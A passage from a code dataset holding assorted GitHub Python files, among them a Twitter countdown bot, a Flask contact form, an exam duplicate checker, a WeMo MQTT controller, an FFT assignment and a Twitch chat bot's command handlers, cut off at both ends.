qc_maquis.s1_entropy = np.array([])\n        # pylint: disable=unnecessary-lambda\n        self.assertRaises(AttributeError, lambda: qc_maquis.make_mutual_information())\n        self.assertRaises(AttributeError, lambda: qc_maquis.make_diagnostics())\n        # pylint: enable=unnecessary-lambda\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"qcscine/autocas","sub_path":"scine_autocas/tests/test_qcmaquis_utils.py","file_name":"test_qcmaquis_utils.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"}
{"seq_id":"74694905060","text":"import os, json\nimport calendar\nfrom datetime import datetime, date, timedelta\nfrom requests_oauthlib import OAuth1Session\n#from flask import json, make_response\n\n\ndef tweet_post(text):\n    with open('secret.json') as f:\n        secret = json.load(f)\n        AK = secret['TWIITER_CONSUMER_KEY']\n        ASK = secret['TWIITER_CONSUMER_SECRET']\n        AT = secret['TWIITER_ACCESS_TOKEN']\n        ATS = secret['TWIITER_ACCESS_TOKEN_SECRET']\n        EP = secret['TWITTER_ENDPOINT']\n\n    twitter = OAuth1Session(AK, ASK, AT, ATS)\n    params = {\"status\" : text}\n    res = twitter.post(EP, params = params)\n    if res.status_code == 200: #正常投稿出来た場合\n        print(\"Tweet Success.\")\n    else: #正常投稿出来なかった場合\n        print(\"Tweet Failed.\", res.status_code, res.text)\n\n\ndef calc_fiscal_year(today:datetime)->datetime:\n    _uru_year = False\n    all_days = 365\n    if today.month >= 4: #4月以降なら次年をセット\n        end_day = date(year=today.year + 1, month=3, day=31)\n        if calendar.isleap(today.year + 1):\n            _uru_year = True\n    elif today.month < 4:#3月までなら同年をセット\n        end_day = date(year=today.year, month=3, day=31)\n        if calendar.isleap(today.year):\n            _uru_year = True\n    else:\n        print('error,today.month=', today.month)\n\n    if _uru_year:\n        all_days = 366\n    \n    #残日数を計算\n    _remain_days = end_day - today.date()\n    remain_days = _remain_days.days\n    rate = (remain_days / all_days) * 100\n\n    return remain_days, rate\n\ntoday = datetime.now() + timedelta(hours=9) + timedelta(minutes=10)\nprint(today)\nremain_days, rate = calc_fiscal_year(today)\ntweet_text = f'{today.year}年{today.month}月{today.day}日になりました。今年度は残り{remain_days}日です。あと{round(rate,1)}％です。'\nprint(tweet_text)\n\ntweet_post(tweet_text)","repo_name":"trym53/fiscal_year","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72513715621","text":"import sys, os\n\n# add VHDL-Components to path\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\", \"deps\",  \"VHDL-Components\", \"src\"))\nfrom axi_csr import Register, write_axi_csr\n\nif __name__ == '__main__':\n\n\tregisters = [\n\t\t\t\tRegister(0, \"status\", \"read\"),\n\t\t\t\tRegister(8, \"resets\",  \"write\"),\n\t\t\t\tRegister(9, \"control\", \"write\"),\n\t\t\t\tRegister(11, \"trigger_word\",  \"read\"), # shift register of last 4 bytes broadcast out on SATA\n\t\t\t\tRegister(12, \"trigger_interval\", \"write\", initial_value=0x000186a0), # trigger interval (1ms = 100,000 clock cycles)\n\t\t\t\tRegister(18, \"SATA_status\", \"read\"),\n\t\t\t\tRegister(20, \"uptime_seconds\", \"read\"),\n\t\t\t\tRegister(21, \"uptime_nanoseconds\", \"read\"),\n\t\t\t\tRegister(22, \"tdm_version\", \"read\"),\n\t\t\t\tRegister(23, \"temperature\", \"read\"), # 11-0\n\t\t\t\tRegister(24, \"git_sha1\", \"read\"),\n\t\t\t\tRegister(25, \"build_timestamp\", \"read\")\n\t\t\t]\n\n\twrite_axi_csr(os.path.join(os.path.dirname(__file__), \"..\", \"src\", \"tdm_csr.vhd\"), registers, module_name=\"TDM_CSR\")\n","repo_name":"BBN-Q/APS2-TDM","sub_path":"scripts/create_tdm_csr.py","file_name":"create_tdm_csr.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"19352283095","text":"import csv\nimport os\n\nfrom flask import Flask, request, redirect\nfrom flask.templating import render_template\napp = Flask(__name__)\n\n\ndef write_to_csv_file(data: dict):\n    path = os.path.join(os.getcwd(), 'data', 'emails.csv')\n    with open(path, 'a', newline='') as csv_file:\n        email = data['email']\n        subject = data['subject']\n        message = data['message']\n\n        csv_writer = csv.writer(csv_file,\n                                delimiter=',',\n                                quotechar='\"',\n                                quoting=csv.QUOTE_MINIMAL)\n        csv_writer.writerow([email, subject, message])\n\n\n@app.route('/send_form', methods=['POST', 'GET'])\ndef submit_form():\n    if request.method == 'POST':\n        data = request.form.to_dict()\n        write_to_csv_file(data)\n\n        return redirect('thanks.html')\n    else:\n        return 'error'\n\n\n@app.route('/')\ndef home_route():\n    return render_template('index.html')\n\n\n@app.route('/index.html')\ndef home():\n    return render_template('index.html')\n\n\n@app.route('/<string:page_name>')\ndef pages(page_name):\n    return render_template(page_name)\n\n\nif __name__ == '__main__':\n    app.run()","repo_name":"dylanbuchi/francis-portfolio","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34304666962","text":"import os\nfrom collections import defaultdict\n\nclass UndeliveredMessages:\n    \"\"\"Class to store undelivered messages. The messages are stored in memory and in a file.\"\"\"\n    def __init__(self, filename: str):\n        self.filename = filename\n        \n        self.undelivered_msg = defaultdict(list) # Map of recipient username to list of (sender, message) for that recipient\n        if os.path.exists(filename):\n            # Read the file and store the messages in a dictionary by recipient\n            with open(self.filename, 'r') as f:\n                lines = f.readlines()\n            for line in lines:\n                if line.strip():\n                    recipient, sender, message = line.strip().split(' ', 2)\n                    self.undelivered_msg[recipient].append((sender, message))\n\n    def add_message(self, recipient: str, sender: str, message: str):\n        \"\"\"Add a message to the list of undelivered messages for a recipient.\"\"\"\n        self.undelivered_msg[recipient] += [\n            (sender, message)]\n        with open(self.filename, 'a') as f:\n            f.write(f\"{recipient} {sender} {message}\\n\")\n            f.flush()\n\n    def get_messages(self):\n        \"\"\"Return a list of (recipient, [(sender, message)]) for all recipients with undelivered messages.\"\"\"\n        return self.undelivered_msg.items()\n    \n    def update_messages(self, recipient, message_infos):\n        \"\"\"Update the messages for a recipient. Replaces the message list for that recipient with the given messages.\"\"\"\n        self.undelivered_msg[recipient] = message_infos\n        with open(self.filename, 'r') as f:\n            lines = f.readlines()\n        with open(self.filename, 'w') as f:\n            f.writelines(filter(lambda line: line.strip() and line.strip().split()[0] != recipient, lines))\n            f.flush()\n            for sender, message in message_infos:\n                if (not (sender == \"\" or message == \"\")):\n                    f.write(f\"{recipient} {sender} {message}\\n\")\n                    f.flush()\n\n    def clear(self):\n        \"\"\"\n        Clears the undelivered messages for testing purposes\n        \"\"\"\n        self.undelivered_msg = defaultdict(list) \n        open(self.filename, 'w').close() \n    ","repo_name":"howardg2000/cs262hw3","sub_path":"utils/undelivered_messages.py","file_name":"undelivered_messages.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39873736184","text":"import logging\nfrom os import getenv\nimport sys\n\n\ndef config(\n        logging_level : str = \"INFO\",\n        libs_to_silence : list = None,\n        env_var_hide_timestamp : list = None\n    ):\n    \n    # Set higher level for external libs logging\n    if libs_to_silence is None:\n        libs_to_silence = [\n            'botocore',\n            'boto3',\n            'urllib',\n            'urllib3',\n            'azure',\n            'uamqp',\n            'py4j',\n        ]\n    for lib in libs_to_silence:\n            logging.getLogger(lib).setLevel(logging.ERROR)\n\n    LOGGING_LEVEL = getenv('LOGGING_LEVEL', logging_level)\n\n    # Local execution shows time. Remote executions logging has it's own timestamp adding\n    if env_var_hide_timestamp is not None and getenv(env_var_hide_timestamp, None) is not None:\n        log_format = '%(levelname)s - %(filename)s[%(lineno)s] %(message)s'\n    else:\n        log_format = '%(asctime)s - %(levelname)s - %(filename)s[%(lineno)s] %(message)s'\n\n    logger = logging.getLogger()\n    for h in logger.handlers:\n        logger.removeHandler(h)\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setFormatter(logging.Formatter(log_format))\n    logger.addHandler(handler)\n    logger.setLevel(LOGGING_LEVEL)\n    \n    return logger\n","repo_name":"msantino/logging-base-config","sub_path":"logging_basic_config/logging_basic_config.py","file_name":"logging_basic_config.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1498863386","text":"import os\r\nimport sys\r\nimport getopt\r\nfrom win32com import client as wc\r\nfrom functools import cmp_to_key\r\nimport re\r\nimport editdistance\r\n\r\nSEPARATOR = \"---------------------------------------------------------------------------------\"\r\n\r\nCATEGORY_PATTERN = re.compile(r'\\b计算题\\b|\\b判断题\\b|\\b简单题\\b|\\b单选题\\b|\\b填空题\\b')\r\nSTEM_PATTERN = re.compile(r'^([0-9]+)[\\.． ：\\s\\t题]*(.*)[^0-9]$')\r\nCHINESE_PATTERN = re.compile(r'[\\u4e00-\\u9fa5]')\r\nDISTANCE_THRESHOLD = 1\r\n\r\n\r\ndef extract_chinese(raw):\r\n    return \"\".join(CHINESE_PATTERN.findall(raw))\r\n\r\n\r\ndef get_word_files(rootDir):\r\n    for dirName, subdirList, fielList in os.walk(rootDir):\r\n        for fname in fielList:\r\n            if fname.endswith('doc') or fname.endswith('docx'):\r\n                yield os.path.abspath(os.path.join(dirName, fname))\r\n        for dir in subdirList:\r\n            get_word_files(dir)\r\n\r\n\r\ndef get_word_text(word, wordFile):\r\n    tempFile = os.path.splitext(wordFile)[0] + '.txt'\r\n    doc = word.Documents.Open(wordFile)\r\n    doc.SaveAs(tempFile, 4, False, \"\", True, \"\", False, False, False, False)\r\n    doc.Close()\r\n    file = open(tempFile, mode='r', encoding=\"GB2312\", errors='ignore')\r\n    result = file.read()\r\n    file.close()\r\n    os.remove(tempFile)\r\n    return result\r\n\r\n\r\ndef get_exam_papers(rootDir):\r\n    word = wc.Dispatch('Word.Application')\r\n    word.visible = False\r\n    for fword in get_word_files(rootDir):\r\n        text = get_word_text(word, fword)\r\n        yield (fword, text)\r\n    word.Quit()\r\n\r\n\r\ndef get_question(line):\r\n    m = STEM_PATTERN.match(line)\r\n    if not m:\r\n        return None\r\n    no, stem = m.groups()\r\n\r\n    if not stem.strip():\r\n        return None\r\n\r\n    return (no, stem.strip())\r\n\r\n\r\ndef is_category(line):\r\n    # return line.strip().endswith('题')\r\n    return CATEGORY_PATTERN.match(line.strip())\r\n\r\n\r\ndef get_questions(text):\r\n    category = '未分类'\r\n    for line in text.splitlines():\r\n        if not line.strip():\r\n            continue\r\n        question = get_question(line)\r\n        if question:\r\n            no, stem = question\r\n            yield (category, no, stem, extract_chinese(stem))\r\n        elif is_category(line):\r\n            category = line.strip()\r\n\r\n\r\ndef debug_write_line(r, questions):\r\n    for question in questions:\r\n        category, no, stem, _ = question\r\n        write_line(r, \"[%s]\" % category, \"[%s]\" % no, stem)\r\n\r\n\r\n# def compare_questions(question1, question2):\r\n#     category1, _, _, ch_stem1 = question1\r\n#     category2, _, _, ch_stem2 = question2\r\n#     if category1 < category2:\r\n#         return -1\r\n#     elif category1 > category2:\r\n#         return 1\r\n#     elif ch_stem1 < ch_stem2:\r\n#         return -1\r\n#     elif ch_stem1 > ch_stem2:\r\n#         return 1\r\n#     else:\r\n#         return 0\r\n\r\n# def sort_questions_by_category(questions):\r\n#     return sorted(questions, key=cmp_to_key(compare_questions))\r\n\r\ndef is_similar(question1, question2):\r\n    category1, _, _, ch_stem1 = question1\r\n    category2, _, _, ch_stem2 = question2\r\n\r\n    if category1 != category2:\r\n        return False\r\n\r\n    return editdistance.eval(ch_stem1, ch_stem2) < DISTANCE_THRESHOLD\r\n\r\n\r\ndef get_similar_questions(source, questions):\r\n    for question in questions:\r\n        if is_similar(source, question):\r\n            yield question\r\n\r\n\r\ndef write_line(f, *words):\r\n    for word in words:\r\n        f.write(str(word))\r\n    f.write('\\n')\r\n\r\n\r\ndef main(argv):\r\n    total_papers = 0\r\n    total_questions = 0\r\n    total_real_questions = 0\r\n\r\n    inputdir = 'data_debug'\r\n    outputdir = 'output'\r\n\r\n    try:\r\n        opts, _ = getopt.getopt(argv, \"hi:o:\", [\"input=\", \"output=\"])\r\n    except getopt.GetoptError:\r\n        print('Usage: duplicate_check.py -i <input> -o <output>')\r\n        sys.exit(2)\r\n\r\n    for opt, arg in opts:\r\n        if opt == '-h':\r\n            print('Usage: duplicate_check.py -i <input> -o <output>')\r\n            sys.exit()\r\n        elif opt in (\"-i\", \"--input\"):\r\n            inputdir = arg\r\n        elif opt in (\"-o\", \"--output\"):\r\n            outputdir = arg\r\n\r\n    print('Input directory: ', inputdir)\r\n    print('Output directoy: ', outputdir)\r\n\r\n    if not os.path.exists(outputdir):\r\n        os.mkdir(outputdir)\r\n\r\n    summaryfile = os.path.join(outputdir, \"汇总结果.txt\")\r\n    with open(summaryfile, 'w', encoding='utf-8', errors='ignore') as summary:\r\n        for paper in get_exam_papers(inputdir):\r\n            path, content = paper\r\n            print('Processing...', path)\r\n\r\n            # paper_name = os.path.splitext(os.path.basename(path))[0].strip()\r\n            paper_name = os.path.splitext(os.path.relpath(path, inputdir))[0].strip().replace('\\\\', '_').replace('（','(').replace('）',')')\r\n\r\n            outfile = os.path.join(outputdir, '[分析结果] ' + paper_name + '.txt')\r\n\r\n            with open(outfile, 'w', encoding='utf-8', errors='ignore') as result:\r\n\r\n                questions = list(get_questions(content))\r\n\r\n                # sorted_questions = list(sort_questions_by_category(questions))\r\n                # debug_write_line(r, sorted_questions)\r\n\r\n                questions_unsearched = list(questions)\r\n                questions_unsearched.reverse()\r\n                similar_questions_collection = []\r\n                while len(questions_unsearched) > 1:\r\n                    question = questions_unsearched.pop()\r\n                    similar_questions = list(get_similar_questions(\r\n                        question, questions_unsearched))\r\n                    if similar_questions:\r\n                        for similar in similar_questions:\r\n                            questions_unsearched.remove(similar)\r\n                        similar_questions.append(question)\r\n                        similar_questions.reverse()\r\n                        similar_questions_collection.append(similar_questions)\r\n\r\n                similar_questions_collection = sorted(\r\n                    similar_questions_collection, key=lambda x: len(x), reverse=True)\r\n                duplicate_count = 0\r\n                for collection in similar_questions_collection:\r\n                    duplicate_count += len(collection) - 1\r\n\r\n                question_count = len(questions)\r\n                real_question_count = len(questions) - duplicate_count\r\n                duplicate_ratio = (question_count - real_question_count) / question_count\r\n\r\n                write_line(result, SEPARATOR)\r\n                write_line(result, \"试卷名称：\", paper_name)\r\n                write_line(result, SEPARATOR)\r\n                write_line(result, \"题目总数：\", question_count)\r\n                write_line(result, \"存在相似题数量: \", len(\r\n                    similar_questions_collection))\r\n                write_line(result, \"去除相似题后数量: \", real_question_count)\r\n                write_line(result, \"重复率: \", \"{0:.2%}\".format(duplicate_ratio))\r\n\r\n                write_line(result, SEPARATOR)\r\n                write_line(result, \"相似题（按重复次数由高到低排序）：\")\r\n                write_line(result, SEPARATOR)\r\n                for collection in similar_questions_collection:\r\n                    write_line(result, \"重复\", len(collection), \"遍: \")\r\n                    debug_write_line(result, collection)\r\n\r\n                total_papers += 1\r\n                total_questions += question_count\r\n                total_real_questions += real_question_count\r\n\r\n                write_line(summary, paper_name, ': ', real_question_count, '/',\r\n                           question_count, '(', '{0:.2%}'.format(duplicate_ratio), ')')\r\n\r\n            # break\r\n        write_line(summary, SEPARATOR)\r\n        write_line(summary, \"处理试卷总数: \", total_papers)\r\n        write_line(summary, \"总题目数: \", total_questions)\r\n        write_line(summary, \"总去除相似题数: \", total_real_questions)\r\n        write_line(summary, \"总重复率: \", \"{0:.2%}\".format(\r\n            (total_questions - total_real_questions) / total_questions))\r\n        write_line(summary, SEPARATOR)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main(sys.argv[1:])\r\n","repo_name":"peacemakercq/duplicate_check","sub_path":"duplicate_check.py","file_name":"duplicate_check.py","file_ext":"py","file_size_in_byte":8115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26839637172","text":"#!./bin/python\n\nimport paho.mqtt.client as mqtt\n\nfrom ouimeaux.environment import Environment\n\ndef on_switch(switch):\n  print(switch.name)\n\nenv = Environment(on_switch)\n\nenv.start()\n\nenv.discover(seconds=3)\n\ndef on_connect(client, userdata, flags, rc):\n  print (\"Connected with result code {}\".format(rc))\n  client.subscribe(\"gordon/smarthouse/wemo/+\")\n\ndef on_message(cleint, userdata, msg):\n  switch = msg.topic.split('/')[-1]\n  try:\n    state = int(msg.payload.decode('utf-8'))\n    wemo_switch = env.get_switch(switch)\n    wemo_switch.basicevent.SetBinaryState(BinaryState=state)\n  except:\n    pass\n  print (\"Got request to set state of switch {} to {}\".format(switch, msg.payload.decode('utf-8')))\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nclient.connect(\"mqtt.bluesmoke.network\", 1883, 60)\n\nclient.loop_forever()\n","repo_name":"joshgordon/wemoqtt","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32059366998","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 23 09:57:26 2020\n\n@author: noahlefrancois\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\"\nPart c) Pick a non-integer value of k and plot your analytic estimate of the DFT.\nShow that FFT agrees (to within machine precision) with your analytic estimate.\nNormally we think of the FFT of a pure sine wave to be a delta function. Are we close to that?\n\"\"\"\n#Calculate our analytic estimate of the DFT\ndef sinFT_analytic(x, k, N):\n    kp = np.arange(N)\n    terms = np.empty(N)\n    for i in range(N):\n        terms[i] = 1/(2j)*(-np.sum(np.exp(-2j*np.pi*(k-kp[i])*x/N) + np.exp(-2j*np.pi*(k+kp[i])*x/N)))\n    terms = np.array(terms)\n    return kp, terms\n\nNp = 100\nxp = np.arange(Np)\nk = 7.5 #Non-integer value of k\nf = np.sin(2*np.pi*k*xp/Np) #Define our sine wave\n\n#Calculate our analytic DFT and the numpy fft of our sine wave, and plot the results\nkp, f_An = sinFT_analytic(xp, k, Np)\nf_Disc = np.fft.fft(f)\n\nplt.figure()\nplt.plot(xp, f)\nplt.title('Sine Function')\n\nplt.figure()\nplt.plot(kp, abs(f_An), label='Analytic')\nplt.plot(kp, abs(f_Disc), ':',label='FFT')\nplt.legend()\nplt.title('Fourier Transform of Sine Function')\n\nplt.figure()\nplt.plot(kp, abs(f_Disc)-abs(f_An),'*')\nplt.title('Residuals')\n\nprint('The standard deviation between analytic and FFT values is ', f'{np.std(abs(f_Disc)-abs(f_An)):.4}')\n\"\"\"\nOutput: The standard deviation between analytic and FFT values is  6.021e-14\nThe two functions agree very closely to machine precision, which is 1e-16.\n\nThe output is very close to a delta function at k and N-k, however it is not exactly a sharp/discontinuous\nspike and has a bit of spectral leakage causing a widening of each peak. See A4Q5c_plot_FT and A4Q5c_plot_Residuals\n\"\"\"\n\n\"\"\"\nPart d) Show that when we multiply by the window function 0.5-0.5cos(2pix/N), the spectral leakage for a\nnon-integer period sine wave drops dramatically\n\"\"\"\n#Define the window function\ndef window_func(x, N):\n    window = 0.5 - 0.5*np.cos(2*np.pi*x/N)\n    return window\n#Multiply sine wave by window function and take the FFT\nwindow = window_func(xp, Np)\nf_Disc_window = np.fft.fft(f*window)\n\nplt.figure()\nplt.plot(kp, abs(f_Disc), label='No window')\nplt.plot(kp, abs(f_Disc_window), label='With window')\nplt.legend()\nplt.yscale('log')\nplt.title('Fourier Transform of Sine Function')\n\n\"\"\"\nWe can see from the plot (A4Q5d_plot_FT) that the FT after multiplying by the window function has a \nnarrower peak at both k and N-k than the FT without the window function. The tradeoff is that the\nmagnitude of the peak is reduced when we multiply by the window function.\n\"\"\"\n\n\"\"\"\nPart e) Show that the FT of the window is [N/2 N/4 0 0 ... 0 N/4].\nUse this to show that you can get the windowed FT by appropriate combos of each point in the \nunwindowed FT and its immediate neighbours.\n\"\"\"\n\nwindow_FT = np.fft.fft(window)\ngiven_windowFT = np.zeros(Np)\ngiven_windowFT[0] = Np/2\ngiven_windowFT[1] = -Np/4\ngiven_windowFT[-1] = -Np/4\n\nprint('The standard deviation between given and FFT values is ', f'{np.std(abs(window_FT)-abs(given_windowFT)):.4}')\n\nplt.figure()\nplt.plot(kp, window_FT, label='FFT of Window')\nplt.plot(kp, given_windowFT, ':', label = 'Given FT of Window')\nplt.legend()\nplt.title('Fourier Transform of Window Function')\n\n\"\"\"\nOutput: The standard deviation between given and FFT values is  7.387e-16\nSee A4Q5e_plot_FTofWindow.png\nWhen we flip the sign of the Np/4 entries, the FFT of the window agrees to machine precision with\nthe array we are given and comparing to.\nThis means the FFT of the window function is N/2 if k=0, -N/4 if k = +/-1, else 0. Since the multiplication \nof the window function by the sine wave is a convolution in Fourier space and the window function in\nFourier space is equal to the sum of these 3 delta functions at k=0, k=+/-1, this operation is just\ngoing to select out 3 values for a given k. All other entries will be zero\n\"\"\"\n\ndef windowed_FFT(F, N):\n    terms = np.empty(N)\n    for i in range(N):\n        terms[i] = F[i]/2 - F[(i-1)%N]/4 - F[(i+1)%N]/4\n    return terms\n\nf_Disc_FixedWindow = windowed_FFT(f_Disc, Np)\nprint('The standard deviation between given and FFT values is ', f'{np.std(abs(f_Disc_window)-abs(f_Disc_FixedWindow)):.4}')\n\nplt.figure()\nplt.plot(kp, abs(f_Disc), label='FT of Sine')\nplt.plot(kp, abs(f_Disc_window), label='FT of Sine*Window')\nplt.plot(kp, abs(f_Disc_FixedWindow), ':', label='FT of Sine*Window using delta functions')\nplt.legend()\nplt.yscale('log')\nplt.title('Fourier Transform of Sine Function')\n\n\"\"\"\nOutput: The standard deviation between given and FFT values is  8.325e-16\nSee A4Q5e_plot_windowedSineFT.png\nThis agrees to machine precision with the FT of Sine*Window from Part d). This agreement confirms\nthat the method given in this question is equivalent to taking the windowed FT.\n\"\"\"\n\n","repo_name":"nlefrancois6/Phys512","sub_path":"A4/A4Q5.py","file_name":"A4Q5.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34448565699","text":"from enum import Enum, auto\nimport json\nimport logging\nimport random\nimport time\nimport uuid\n\nfrom . import db\nfrom . import pokedex\n\nfrom .. import config\n\nlogger = logging.getLogger(__name__)\n\n# TODO: load from gameinfo.txt\nGAMEINFO = \"Final Fantasy 4 (SNES)\"\n# TODO: command cooldown (per channel)\n\n\nclass BannedException(Exception):\n    def __init__(self, channel):\n        self.channel = channel\n\n\nclass ResponseEvent(dict):\n    \"\"\"Render our own msgs through the bot.\"\"\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.__dict__ = self\n        self.nickname = \"Ashnasbot\"\n        cfg = config.Config()\n        name = cfg['displayname'] if 'displayname' in cfg else cfg['username']\n        self.tags = {\n            'display-name': name,\n            'badges': [],\n            'emotes': [],\n            'user-id': cfg[\"user_id\"]\n        }\n        self.id = str(uuid.uuid4())\n        self.extra = ['quoted']\n        self.type = 'TWITCHCHATMESSAGE'\n        self.priv = PRIV.COMMON\n\n\nclass OrderedEnum(Enum):\n    def __ge__(self, other):\n        if self.__class__ is other.__class__:\n            return self.value >= other.value\n        return NotImplemented\n\n    def __gt__(self, other):\n        if self.__class__ is other.__class__:\n            return self.value > other.value\n        return NotImplemented\n\n    def __le__(self, other):\n        if self.__class__ is other.__class__:\n            return self.value <= other.value\n        return NotImplemented\n\n    def __lt__(self, other):\n        if self.__class__ is other.__class__:\n            return self.value < other.value\n        return NotImplemented\n\n\nclass PRIV(str, OrderedEnum):\n    COMMON = auto()\n    SUB = auto()\n    VIP = auto()\n    MOD = auto()\n    OWNER = auto()\n    STAFF = auto()\n\n\ndef handle_command(event):\n    etags = event.tags\n    raw_msg = event.message\n    logger.info(f\"{etags['display-name']} COMMAND: {raw_msg}\")\n    args = raw_msg.split(\" \")\n    command = args.pop(0).lower()\n    cmd = COMMANDS.get(command, None)\n\n    ret_event = ResponseEvent()\n    ret_event.channel = event.channel\n    ret_event.tags['caller'] = event.tags['display-name']\n    ret_event.tags['user-type'] = event.tags['user-type']\n\n    priv_level = PRIV.COMMON\n    if 'staff' in event.tags['badges']:\n        priv_level = PRIV.STAFF\n    elif 'broadcaster' in event.tags['badges']:\n        priv_level = PRIV.OWNER\n    elif 'moderator' in event.tags['badges']:\n        priv_level = PRIV.MOD\n    elif 'vip' in event.tags['badges']:\n        priv_level = PRIV.VIP\n    elif 'subscriber' in event.tags['badges']:\n        priv_level = PRIV.SUB\n\n    ret_event.priv = priv_level\n    ret_event.tags['response'] = True\n    if callable(cmd):\n        try:\n            ret_event = cmd(ret_event, *args)\n            ret_event.priv = \"\"\n            return ret_event\n        except Exception:\n            return\n\n\ndef handle_other_commands(event):\n    try:\n        if event._command == \"PRIVMSG\":\n            return\n\n        if event._command == \"CLEARMSG\":\n            logger.debug(\"CLEAR: %s\", event.tags['target-msg-id'])\n            return {\n                    'nickname': event.tags['login'],\n                    'orig_message': event._params,\n                    'id': event.tags['target-msg-id'],\n                    'type': event._command\n                    }\n        elif event._command == \"CLEARCHAT\":\n            user = event.tags.get('target-user-id', \"\")\n            logger.debug(\"CLEAR: %s from %s\", user, event.tags['room-id'])\n            return {\n                    'id': str(uuid.uuid4()),\n                    'user': user,\n                    'room': event.tags['room-id'],\n                    'type': event._command\n                    }\n        elif event._command == \"RECONNECT\":\n            ret_event = ResponseEvent()\n            logger.warn(\"Twitch chat is going down\")\n            ret_event['message'] = \"Twitch chat is going down\"\n            return ret_event\n        # elif event._command == \"HOSTTARGET\":\n        #     ret_event = ResponseEvent()\n        #     if event.message.startswith(\"- \"):\n        #         ret_event['message'] = \"Stopped hosting\"\n        #     else:\n        #         print(event.message)\n        #         logger.debug(event.message)\n        #         channel = re.search(r\"(\\w+)\\s[\\d-]+\", event.message).group(1)\n        #         ret_event['message'] = channel\n        #         ret_event['type'] = \"HOST\"\n        #     logger.info(\"HOST %s\", ret_event['message'])\n        #     return ret_event\n\n    except Exception as e:\n        logger.warn(e)\n        return\n\n\ndef goaway_cmd(event, *args):\n    if event.priv < PRIV.MOD:\n        event[\"message\"] = \"Only a mod or the broadcaster can remove me\"\n        return event\n    raise BannedException(event[\"channel\"])\n\n\ndef no_cmd(event, who, *args):\n    remainder = \" \".join(args)\n    event[\"message\"] = f\"No {who} {remainder}\"\n    return event\n\n\ndef beta_cmd(event, *args):\n    event[\"message\"] = \"*Ralph Wiggum voice* I'm in Beta\"\n    return event\n\n\ndef gameinfo_cmd(event, *args):\n    event[\"message\"] = GAMEINFO\n    return event\n\n\ndef mantras_cmd(event, *args):\n    event[\"message\"] = \"\"\"Wrong game! this is Final Fantasy,\n                          but the mantras are here: https://pad.riseup.net/p/GUZZZVN-xPDnUJv-pEzM-keep\"\"\"\n    return event\n\n\ndef approve_cmd(event, *args):\n    event[\"message\"] = \"https://clips.twitch.tv/TrustworthyFaintFalconRlyTho\"\n    return event\n\n\ndef win_cmd(event, *args):\n    val = random.randint(30, 2000)\n    caller = event.tags['caller']\n    if random.randint(1, 10) == 1:\n        event[\"message\"] = f\"{caller} looses\"\n    else:\n        event[\"message\"] = f\"{caller} wins {val} points\"\n    return event\n\n\ndef save_cmd(event, *args):\n    if random.randint(1, 10) == 1:\n        event[\"message\"] = \"But did you Dave?\"\n    else:\n        event[\"message\"] = \"But did you save?\"\n    return event\n\n\ndef drink_cmd(event, *args):\n    event[\"message\"] = \"Every time a character could have explained something but instead says 'nothing', we take a drink.\"\n    return event\n\n\ndef hello_cmd(event, *args):\n    who = event.tags['caller']\n    event[\"message\"] = who\n    return event\n\n\ndef bs_cmd(event, *args):\n    event[\"message\"] = \"\"\"We're experiencing this game together for the first time,\n                          please don't spoil it if you already know.\"\"\"\n    return event\n\n\ndef so_cmd(event, who, *args):\n    if event.priv < PRIV.VIP:\n        return\n\n    if who.lower() == \"theadrain\":\n        event[\"message\"] = f\"Shoutout to {who} at https://twitch.tv/{who.lower()} - they are the best egg <3\"\n    else:\n        event[\"message\"] = f\"Shoutout to {who} at https://twitch.tv/{who.lower()} - they are a good egg <3\"\n    return event\n\n\ndef uptime(event, *args):\n    if event.tags['caller'].lower() != 'darkshoxx':\n        return\n\n    event[\"message\"] = \"You're late, darkshoxx!\"\n    return event\n\n\ndef pokedex_cmd(event, *args):\n    if not args:\n        player = event[\"channel\"]\n        dex = pokedex.get_player_pokedex(player)\n        num = len([row for row in dex if row['caught']])\n        event[\"message\"] = f\"{player} has caught {num}/151 Pokémon\"\n\n        return event\n\n    num_or_name = args[0]\n    pokemon = pokedex.get_pokemon(num_or_name)\n    if pokemon:\n        caughtby = json.loads(pokemon[\"caughtby\"])\n        caught_text = \"\"\n        found_text = \"\"\n        dex_entry = \"\"\n\n        if caughtby:\n            caught_text = f\" - caught by {list(caughtby.keys())}\"\n\n        if \"found_in\" in pokemon and pokemon[\"found_in\"]:\n            found_text = f\" - found in {pokemon['found_in']}\"\n\n        if \"dex_entry\" in pokemon and pokemon[\"dex_entry\"]:\n            dex_entry = f\", {pokemon['dex_entry'][:-1]}\"\n\n        event[\"message\"] = f'Pokémon #{pokemon[\"id\"]} is {pokemon[\"name\"]}{found_text}{caught_text}{dex_entry}'\n    else:\n        event[\"message\"] = f\"Pokémon '{num_or_name}' not found\"\n\n    return event\n\n\ndef 